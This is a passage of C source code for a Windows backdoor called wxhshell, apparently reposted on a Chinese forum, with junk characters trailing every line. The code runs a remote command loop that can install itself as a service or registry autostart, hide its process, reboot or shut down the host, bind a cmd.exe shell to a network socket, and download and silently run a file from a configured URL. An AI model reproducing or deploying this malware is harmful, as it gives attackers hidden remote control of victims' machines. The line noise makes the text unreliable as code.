  else { ReE-I/n8f  
RU&,z3LEb  
    switch(cmd[0]) { ;/+VHZP;  
  mi9BC9W(  
  // 帮助 w@RVg*`%7D  
  case '?': { !R*%F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Fo)ea  
    break; )D\cm7WX^[  
  } <YX)am'\y  
  // 安装 (qd$wv^ h  
  case 'i': { ?w'a^+H  
    if(Install()) 4/YEkD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W:D'k^u  
    else @V{s'V   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AZ' "M{wiI  
    break; cpz'upVOZ  
    } 3Mw\}q  
  // 卸载 VK\ Bjru9  
  case 'r': { 5sJi- ^  
    if(Uninstall()) ngF5ywIG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z d 9Gi5&  
    else Q` mw2$zv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6&/H XqP  
    break; BDoL)}bRE  
    } |O0=Q,<m  
  // 显示 wxhshell 所在路径 xbJ@z {  
  case 'p': { SN2X{Q|*  
    char svExeFile[MAX_PATH]; *zoAD|0N  
    strcpy(svExeFile,"\n\r"); wn*<.s  
      strcat(svExeFile,ExeFile); B.wihJVDg  
        send(wsh,svExeFile,strlen(svExeFile),0); ;#c|ZnX  
    break; ly`p)6#R=  
    } tY$ .(2Ua  
  // 重启 p&1IK8i"  
  case 'b': { S%KY%hUt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yNp l0 d  
    if(Boot(REBOOT)) P(?i>F7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9^l[d<  
    else { j" wX7  
    closesocket(wsh); e='bc7$  
    ExitThread(0); _nw=^zS  
    } c%1 <O!c  
    break; Q*wub9  
    } ;)Rvk&J5  
  // 关机 QuFcc}{<]  
  case 'd': { {2kw*^,l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v4]7"7GuW  
    if(Boot(SHUTDOWN)) Ao%E]M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :x e/7-  
    else { pT Yq#9  
    closesocket(wsh); c +Pg[1-  
    ExitThread(0); # Sfz^  
    } i<<NKv8;  
    break; C6Qnn@waYb  
    } B ;Zsp  
  // 获取shell s_Y1rD*B  
  case 's': { 9( ;lcOz  
    CmdShell(wsh); )@DT^#zR  
    closesocket(wsh); $Yfm>4  
    ExitThread(0); q^}QwJw  
    break; AHsp:0Ma#  
  } PAF2=  
  // 退出 oQJK}9QR  
  case 'x': { #;. tVo I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f(q^R  
    CloseIt(wsh); :nki6Rkowt  
    break; $LUNA.  
    } b~\gV_Z  
  // 离开 dtJaQ`  
  case 'q': { w-Zb($_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4xLU15C  
    closesocket(wsh); 9k.LV/Y  
    WSACleanup(); S!gV\gEbDj  
    exit(1); 75vd ]45as  
    break; ;c73:'e  
        } k#k!AcC  
  } F?2(U\k#  
  } 2%g)0[1  
C:/ca)  
  // 提示信息  8.D$J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ ?y(\>  
} 31mY]Jve"  
  } 'qBg^c  
CFD& -tED&  
  return; <rc3&qmd  
} pKO\tkMJ  
HKO00p7  
// shell模块句柄 8EZ"z d`n/  
int CmdShell(SOCKET sock) Qz&I~7aoyV  
{ A S;ra,x  
STARTUPINFO si; ji {V#  
ZeroMemory(&si,sizeof(si)); bG nBV7b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :,<e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @ =x=dL(  
PROCESS_INFORMATION ProcessInfo; 2&fIF}vk>m  
char cmdline[]="cmd"; -[OGZP`8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N,|:=gD_  
  return 0; Y}(#kqh>  
} '3=[xVnv  
(PU0\bGA  
// 自身启动模式 z<_{m 4I;  
int StartFromService(void) qNER 6  
{ h &9Ld:p  
typedef struct jeMh  
{ WQ4:='(  
  DWORD ExitStatus; 04NI.Jv  
  DWORD PebBaseAddress; sAS\-c'6  
  DWORD AffinityMask; s5FyP "V  
  DWORD BasePriority; VR5$[-E3  
  ULONG UniqueProcessId; y]eH@:MJ;A  
  ULONG InheritedFromUniqueProcessId; Fs_V3i3|L  
}   PROCESS_BASIC_INFORMATION; dUeM+(s1  
+g ovnx  
PROCNTQSIP NtQueryInformationProcess; "_jcz r$*  
t6_6Bl:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s&Y~ 48{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +#O?a`f  
%YefTk8cr,  
  HANDLE             hProcess; -fVeE<[  
  PROCESS_BASIC_INFORMATION pbi; ?,NZ /n  
C/%umazP9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dsqqq,>Q  
  if(NULL == hInst ) return 0; 4%2QF F @  
qJB9z0a<Ov  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <9eQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ON _uu]=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mIq6\c$  
;^xlDN  
  if (!NtQueryInformationProcess) return 0; 3toY#!1Ch  
g;w4:k)U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |//cA2@.  
  if(!hProcess) return 0; KbVV[ *  
3JEH sYxs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NS6Bi3~  
fHYEK~!C04  
  CloseHandle(hProcess); 1t=Y+|vA9  
!TP8LQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5+:b #B  
if(hProcess==NULL) return 0; $bh2zKB)  
wcP0PfY  
HMODULE hMod; +pc_KR  
char procName[255]; QsI#Ae,O#;  
unsigned long cbNeeded; EaFd1  
@^} % o-:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yAR''>  
U*, 8 ,C  
  CloseHandle(hProcess); B`<(qPD  
=PAvPj&}e  
if(strstr(procName,"services")) return 1; // 以服务启动 E*>tFw&[  
Ki}PO`s  
  return 0; // 注册表启动 bP&o] ?dN  
} ui`xgR\6Rh  
5.F.mUO  
// 主模块 c>{X( Z=2  
int StartWxhshell(LPSTR lpCmdLine) 1F-o3\  
{ nCh9IF[BL/  
  SOCKET wsl; }b2U o&][  
BOOL val=TRUE; $&nF1HBI4  
  int port=0; Pk[f_%0  
  struct sockaddr_in door; j{>E.F2.  
g$kK)z  
  if(wscfg.ws_autoins) Install(); ;SeDxyKG  
&1893#V  
port=atoi(lpCmdLine); -r]s #$  
<< LmO-92  
if(port<=0) port=wscfg.ws_port; 3X*;.'#Z  
D; H</5#Q  
  WSADATA data; [nn/a?Z4S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AvRZf-Geg  
:aLShxKA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9fMg?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vLD Ma>  
  door.sin_family = AF_INET; t= "EbPE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =t<!W  
  door.sin_port = htons(port); |^C?~g  
r-'\<d(J$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?RiW:TQ*  
closesocket(wsl); je9[S_Z:Y  
return 1; 2,/("lV@0  
} B@e,3:  
c%>t(ce`Tl  
  if(listen(wsl,2) == INVALID_SOCKET) { 9 }|Bs=q  
closesocket(wsl); /#20`;~F)  
return 1; Thn-8DT  
} p*_g0_^  
  Wxhshell(wsl); a36n}R4Q  
  WSACleanup(); dP T)&  
c~ l$_A  
return 0; m@.4Wrv  
}/x `w  
} f";70}_  
"}*P9-%  
// 以NT服务方式启动 ;dRTr *  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,COSpq]6  
{ SLSJn))@!  
DWORD   status = 0; .MhZ=sn  
  DWORD   specificError = 0xfffffff; ,aV89"}  
L; Nz\sJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; , =IbZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QL-((dZ<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j8M}*1  
  serviceStatus.dwWin32ExitCode     = 0; 7 '2E-#^  
  serviceStatus.dwServiceSpecificExitCode = 0; \|@]XNSN  
  serviceStatus.dwCheckPoint       = 0; %&c[g O!Za  
  serviceStatus.dwWaitHint       = 0; 4FQU$f  
Q {3"&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bICi'`  
  if (hServiceStatusHandle==0) return; A~\:}P N  
(nbqL+  
status = GetLastError(); vs{i2!^  
  if (status!=NO_ERROR) E$ q/4  
{ '-D-H}%;}M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =9i:R!,W  
    serviceStatus.dwCheckPoint       = 0; ` R!0uRu  
    serviceStatus.dwWaitHint       = 0; ,'= Y  
    serviceStatus.dwWin32ExitCode     = status; -869$  
    serviceStatus.dwServiceSpecificExitCode = specificError; 09_3`K. *  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i:&Y{iPQp  
    return; k^ B'W{  
  } j()_ VoB1  
}LM^>M%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )U>q><  
  serviceStatus.dwCheckPoint       = 0; J *.Nf)i  
  serviceStatus.dwWaitHint       = 0; 1MRt_*N4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Iu 2RK  
} I=x   
3_J9SwtN  
// 处理NT服务事件,比如:启动、停止 ] \4-e2N`\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wgq*|teW  
{ b}9K"GT  
switch(fdwControl) rMTtPuc2  
{ TA`*]*O(  
case SERVICE_CONTROL_STOP:  []1VD#  
  serviceStatus.dwWin32ExitCode = 0; hDl& KE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4L^KR_h/  
  serviceStatus.dwCheckPoint   = 0; 3`n5[RV  
  serviceStatus.dwWaitHint     = 0; TcpD*%wW  
  { f>\?\!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ah"2^x  
  } |42E'zH&  
  return; .<u<!fL2  
case SERVICE_CONTROL_PAUSE: zO9$fU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m3F.-KPO  
  break; =XQ3sk6U  
case SERVICE_CONTROL_CONTINUE: wx}\0(]Gl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; , j'=sDl  
  break; HpDU:m  
case SERVICE_CONTROL_INTERROGATE: ^-~.L: }q  
  break; 7T_g?!sdMh  
}; me1ac\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rk"VFe>r  
} ]B3 0d  
=H>rX 2k  
// 标准应用程序主函数 K\IS"b3X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lr+Kwve  
{ gSZ NsiH  
Q7"KgqpQ3  
// 获取操作系统版本 T oy~\  
OsIsNt=GetOsVer(); M[Y|$I}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /-^gK^  
"LaNXZ9  
  // 从命令行安装 y"cK@sOo  
  if(strpbrk(lpCmdLine,"iI")) Install(); KbMgatI/  
Tl8S|Rg  
  // 下载执行文件 L(`^T`  
if(wscfg.ws_downexe) { >|6[uKrO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]'~'V2Ey  
  WinExec(wscfg.ws_filenam,SW_HIDE); p|(910OEQ  
} c*~/[:}  
NZ{kjAd3c  
if(!OsIsNt) { {'"A hiR/  
// 如果时win9x,隐藏进程并且设置为注册表启动 U6jlv3  
HideProc(); O4 \GL  
StartWxhshell(lpCmdLine); F8_pwJUpf-  
} $d,30hK  
else |A'8'z&q  
  if(StartFromService()) HQt=.#GW  
  // 以服务方式启动 r5lp<md  
  StartServiceCtrlDispatcher(DispatchTable); Ip.5I!h[Xb  
else L.U [eH  
  // 普通方式启动 @ew Qx|  
  StartWxhshell(lpCmdLine); r.-NfK4  
C.8]~MP  
return 0; pUwx`"DrR  
}
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只看该作者 1 发表于: 2006-10-10
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